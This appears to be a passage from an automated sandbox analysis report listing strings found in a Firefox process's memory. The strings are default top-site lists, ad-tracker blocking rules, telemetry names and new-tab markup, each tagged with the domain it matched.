functionMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.3097214328.00000270E219F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2993891650.00000270E219F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.3097214328.00000270E219F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2993891650.00000270E219F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: color-mix(in srgb, currentColor 14%, transparent)://id.rambler.ru/rambler-id-helper/auth_events.js://securepubads.g.doubleclick.net/gampad/ad-blkhttps://static.adsafeprotected.com/firefox-etp-js://www.googleadservices.com/pagead/conversion_async.jsassemblePayloadWithMeasurements/measurementsContainGPU<assemblePayloadWithMeasurements/measurementsContainSocket<assemblePayloadWithMeasurements/payloadObj.slowSQL<assemblePayloadWithMeasurements/payloadObj.fileIOReports<browser.engagement.session_time_including_suspendresource://gre/modules/TelemetryEnvironment.sys.mjsassemblePayloadWithMeasurements/payloadObj.lateWrites<assemblePayloadWithMeasurements/payloadObj.addonDetails<saveShutdownPings - failed to submit first shutdown pingtoolkit.telemetry.shutdownPingSender.enabledFirstSessionresource://gre/modules/TelemetryTimestamps.sys.mjssaveShutdownPings - failed to submit shutdown ping_sendDailyPing - Failed to save the aborted session pingassemblePayloadWithMeasurements/measurements.keyedScalars<color-mix(in srgb, currentColor 25%, transparent)getScalars - We only support scalars in subsessions.browser.engagement.session_time_excluding_suspendassemblePayloadWithMeasurements/measurementsContainUtility<linear-gradient(90deg, #9059FF 0%, #FF4AA2 52.08%, #FFBD4F 100%)resource://gre/modules/TelemetryController.sys.mjshttps://www.amazon.com/exec/obidos/external-search/resource://gre/modules/TelemetryControllerBase.sys.mjsdatareporting.policy.dataSubmissionPolicyNotifiedTimeresource://gre/modules/TelemetryScheduler.sys.mjsassemblePayloadWithMeasurements - caught exceptionassemblePayloadWithMeasurements/measurements.histograms<assemblePayloadWithMeasurements/measurements.keyedHistograms<resource://gre/modules/TelemetryReportingPolicy.sys.mjssaveShutdownPings - failed to submit saved-session ping_onEnvironmentChange - throttling; last change was assemblePayloadWithMeasurements/measurements.scalars< equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3069796496.00000270DB2B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3073075739.00000270DB85A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3008157636.00000270E41DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3000078726.00000270DAF67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.3100479236.00000270E230D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3115240088.000039E679900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3035541532.00000270D6C0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3073075739.00000270DB85A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3080838293.00000270DC87E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3103512040.00000270E3DCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3103512040.00000270E3DCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
